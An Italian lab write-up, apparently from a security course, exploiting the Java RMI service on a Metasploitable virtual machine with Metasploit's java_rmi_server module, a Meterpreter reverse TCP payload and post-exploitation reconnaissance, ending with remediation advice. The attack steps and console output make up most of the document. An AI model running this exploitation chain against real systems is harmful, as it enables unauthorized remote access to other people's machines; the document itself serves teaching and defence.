

PROGETTO: Exploitation del Servizio Java RMI (Porta 1099)

Obiettivo: Ottenere l'accesso remoto al target tramite lo sfruttamento della vulnerabilità nel servizio Java RMI (porta 1099) utilizzando il framework Metasploit.

Sommario delle Fasi Operative

1. **Configurazione dell'Ambiente di Rete**
 - Configurazione statica dell'interfaccia di rete sulla macchina attaccante (Kali Linux) all'indirizzo 192.168.11.111.
 - Configurazione statica dell'interfaccia di rete (Metasploitable): Assegnazione dell'indirizzo IP statico 192.168.11.112 alla macchina target per stabilire il perimetro di attacco.
 - Test di raggiungibilità (Ping) per confermare la connettività del laboratorio.
2. **Analisi del Target e Ricognizione**
 - Scansione delle porte per confermare lo stato "Open" del servizio 1099 - Java RMI.
 - Banner grabbing o enumerazione per identificare la versione del servizio.
3. **Configurazione dell'Exploit**
 - Selezione del modulo exploit/multi/misc/java_rmi_server nel framework Metasploit.
 - Impostazione delle variabili RHOSTS (Target) e LHOST (Attacker).
4. **Fase di Exploitation**
 - Esecuzione del payload per lo sfruttamento della vulnerabilità.
 - Apertura e stabilizzazione della sessione remota Meterpreter.
5. **Post-Exploitation e Raccolta Evidenze**
 - Esecuzione del comando ipconfig per il dump della configurazione di rete della vittima.
 - Esecuzione del comando route per l'acquisizione della tabella di routing.
6. **Conclusioni e Analisi dei Rischi**
 - Valutazione dell'impatto e suggerimenti per la messa in sicurezza (Remediation).

1-Configurazione dell'Ambiente di Rete

Configurazione IP KALI - 192.168.11.111

```
kali@kali: ~  
Session Actions Edit View Help  
(kali@kali)-[~]  
$ sudo ifconfig eth0 192.168.11.111 netmask 255.255.255.0 up  
[sudo] password for kali:  
(kali@kali)-[~]  
$ ip addr show eth0  
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000  
    link/ether 08:00:27:1f:b7:23 brd ff:ff:ff:ff:ff:ff  
    inet 192.168.11.111/24 brd 192.168.11.255 scope global noprefixroute eth0  
        valid_lft forever preferred_lft forever  
    inet6 fe80::bcf7:b5a:9f35:75ac/64 scope link noprefixroute  
        valid_lft forever preferred_lft forever  
(kali@kali)-[~]  
$
```

Configurazione IP META – 192.168.11.112

```
RX bytes:35837 (34.9 KB) TX bytes:35837 (34.9 KB)  
msfadmin@metasploitable:~$ sudo ifconfig eth0 192.168.11.112 netmask 255.255.255.0 up  
msfadmin@metasploitable:~$ ifconfig  
eth0      Link encap:Ethernet  HWaddr 08:00:27:3a:6b:6b  
          inet addr:192.168.11.112  Bcast:192.168.11.255  Mask:255.255.255.0  
          inet6 addr: fe80::a00:27ff:fe3a:6b6b/64 Scope:Link  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1  
          RX packets:19 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:75 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:1000  
          RX bytes:3622 (3.5 KB)  TX bytes:9126 (8.9 KB)  
          Base address:0xd010 Memory:f0200000-f0220000  
  
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0  
          inet6 addr: ::1/128 Scope:Host  
          UP LOOPBACK RUNNING  MTU:16436  Metric:1  
          RX packets:130 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:130 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:0  
          RX bytes:37973 (37.0 KB)  TX bytes:37973 (37.0 KB)  
  
msfadmin@metasploitable:~$
```

Test di raggiungibilità (Ping)

```
kali@kali: ~  
Session Actions Edit View Help  
(kali@kali)-[~]  
$ ping 192.168.11.112  
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data:  
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=0.677 ms  
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.586 ms  
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.727 ms  
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=0.670 ms  
64 bytes from 192.168.11.112: icmp_seq=5 ttl=64 time=0.629 ms  
64 bytes from 192.168.11.112: icmp_seq=6 ttl=64 time=0.664 ms  
^C  
— 192.168.11.112 ping statistics —  
6 packets transmitted, 6 received, 0% packet loss, time 5104ms  
rtt min/avg/max/mdev = 0.586/0.658/0.727/0.043 ms  
(kali@kali)-[~]  
$
```

2- Analisi del Target e Ricognizione

Scansione della porta effettuata solo su quella da attaccare

```
kali@kali: ~  
Session Actions Edit View Help  
(kali@kali)-[~]  
$ nmap -p 1099 192.168.11.112  
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-23 06:06 -0500  
Nmap scan report for 192.168.11.112  
Host is up (0.00092s latency).  
  
PORT      STATE SERVICE  
1099/tcp  open  rmiregistry  
MAC Address: 08:00:27:3A:6B:6B (Oracle VirtualBox virtual NIC)  
  
Nmap done: 1 IP address (1 host up) scanned in 1.27 seconds  
(kali@kali)-[~]  
$
```

enumerazione per identificare la versione del servizio: > search rmi_registry

```

      =[ metasploit v6.4.103-dev ]
+ -- --=[ 2,584 exploits - 1,319 auxiliary - 1,697 payloads ]
+ -- --=[ 434 post - 49 encoders - 14 nops - 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search rmi_registry

Matching Modules
=====
#   Name                                     Disclosure Date   Rank   Check   Description
-   -
0   auxiliary/gather/java_rmi_registry       .               normal No      Java RMI Registry Interfaces Enumeration

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/gather/java_rmi_registry

msf > 

```

3- Configurazione dell'Exploit

use exploit/multi/misc/java_rmi_server

```

kali@kali: ~
Session Actions Edit View Help

Matching Modules
=====
#   Name                                     Disclosure Date   Rank   Check   Description
-   -
0   auxiliary/gather/java_rmi_registry       .               normal No      Java RMI Registry Interfaces Enumeration

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/gather/java_rmi_registry

msf > options

Global Options:
=====
Option                Current Setting   Description
-----
ConsoleLogging         false             Log all console input and output
LogLevel               0                Verbosity of logs (default 0, max 3)
MeterpreterPrompt      meterpreter       The meterpreter prompt string
MinimumRank             0                The minimum rank of exploits that will run without explicit confirmation
Prompt                 msf               The prompt string
PromptChar              >                The prompt character
PromptTimeFormat        %Y-%m-%d %H:%M:%S Format for timestamp escapes in prompts
SessionLogging          false             Log all input and output for sessions
SessionTlvLogging       false             Log all incoming and outgoing TLV packets
TimestampOutput         false             Prefix all console output with a timestamp

msf > 

```

set RHOSTS 192.168.11.112 - set LHOST 192.168.11.111

```
kali@kali: ~  
Session Actions Edit View Help  
  
msf exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112  
RHOSTS => 192.168.11.112  
msf exploit(multi/misc/java_rmi_server) > set LHOST 192.168.11.111  
LHOST => 192.168.11.111  
msf exploit(multi/misc/java_rmi_server) > show options  
  
Module options (exploit/multi/misc/java_rmi_server):  


| Name      | Current Setting | Required | Description                                                                                                                                                                                         |
|-----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                                                                                         |
| RHOSTS    | 192.168.11.112  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                                                                               |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.                                                               |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                                                                                        |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                                                                              |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                                                                                    |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                                                                                 |

  
Payload options (java/meterpreter/reverse_tcp):  


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |


```

4- Fase di Exploitation

Esecuzione del payload > exploit

```
msf exploit(multi/misc/java_rmi_server) > exploit  
[*] Started reverse TCP handler on 192.168.11.111:4444  
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/T0YHl1HRN  
[*] 192.168.11.112:1099 - Server started.  
[*] 192.168.11.112:1099 - Sending RMI Header ...  
[*] 192.168.11.112:1099 - Sending RMI Call ...  
[*] 192.168.11.112:1099 - Replied to request for payload JAR  
[*] Sending stage (58073 bytes) to 192.168.11.112  
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:39946) at 2026-01-23 06:46:37 -0500  
  
meterpreter >
```


5- Post-Exploitation e Raccolta Evidenze

- Esecuzione del comando `ipconfig` per il dump della configurazione di rete della vittima.
- Esecuzione del comando `route` per l'acquisizione della tabella di routing.

```
meterpreter > ip config
[-] Unknown command: ip. Run the help command for more details.
meterpreter > route

IPv4 network routes

```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

```

IPv6 network routes

```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe3a:6b6b	::	::		

```
meterpreter >
```

Attraverso l'apertura di una **shell** dalla sessione Meterpreter, è stato possibile bypassare le limitazioni del payload Java ed eseguire il comando nativo `ifconfig`. In questo modo, è stata ottenuta la configurazione completa dell'interfaccia di rete della vittima, confermando l'indirizzo IP **192.168.11.112**

```
kali@kali: ~
Session Actions Edit View Help

```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe3a:6b6b	::	::		

```
meterpreter > shell
Process 1 created.
Channel 1 created.
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:3a:6b:6b
          inet addr:192.168.11.112  Bcast:192.168.11.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe3a:6b6b/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1713 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1606 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:247993 (242.1 KB)  TX bytes:167247 (163.3 KB)
          Base address:0xd010 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:655 errors:0 dropped:0 overruns:0 frame:0
          TX packets:655 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:295773 (288.8 KB)  TX bytes:295773 (288.8 KB)
```

Analisi della tabella di routing della vittima

"Eseguendo il comando `netstat -rn` (o `route`) dall'interno del sistema compromesso, è stata analizzata la tabella di instradamento. I dati confermano che la macchina vittima comunica direttamente con la rete locale **192.168.11.0/24** tramite l'interfaccia **eth0**. L'assenza di un *Gateway predefinito* (0.0.0.0) indica che

l'host è isolato e può scambiare traffico solo con i dispositivi presenti nello stesso segmento di rete dell'attaccante."

```
netstat -rn
Kernel IP routing table
Destination    Gateway         Genmask         Flags   MSS Window  irtt Iface
192.168.11.0    0.0.0.0         255.255.255.0   U        0  0         0 eth0
exit
meterpreter > exit
[*] Shutting down session: 1

[*] 192.168.11.112 - Meterpreter session 1 closed. Reason: Died
msf exploit(multi/misc/java_rmi_server) > █
```

6- Conclusioni e Analisi dei Rischi

Valutazione dell'Impatto

L'attacco eseguito ha dimostrato una vulnerabilità comune in sistemi datati o non configurati correttamente (Sfruttando il servizio Java RMI sulla porta 1099, un utente malintenzionato può:

- **Ottenere il controllo totale:** L'apertura di una sessione Meterpreter permette di eseguire comandi, leggere file riservati e modificare il sistema.
- **Eseguire codice da remoto:** Non è necessaria una password per entrare; basta che il servizio sia attivo e non protetto.
- **Esfiltrare dati:** Come dimostrato con i comandi ifconfig e netstat, l'attaccante può mappare l'intera rete interna partendo da questa macchina.

Suggerimenti per la messa in sicurezza (Remediation)

Per proteggere il sistema da questo specifico attacco, si consigliano le seguenti azioni:

1. **Chiudere le porte non necessarie:** Se il servizio Java RMI non è indispensabile per le attività aziendali, la porta 1099 dovrebbe essere chiusa a livello di sistema.
2. **Configurare un Firewall:** Implementare un firewall (come iptables o ufw) per consentire l'accesso alla porta 1099 solo a indirizzi IP fidati e autorizzati.
3. **Abilitare l'Autenticazione:** Configurare il servizio Java RMI affinché richieda credenziali robuste (username e password) e utilizzi connessioni cifrate (SSL/TLS).
4. **Aggiornamento del Software:** Mantenere la Java Virtual Machine (JVM) e le librerie correlate aggiornate alle ultime versioni per correggere falle di sicurezza note.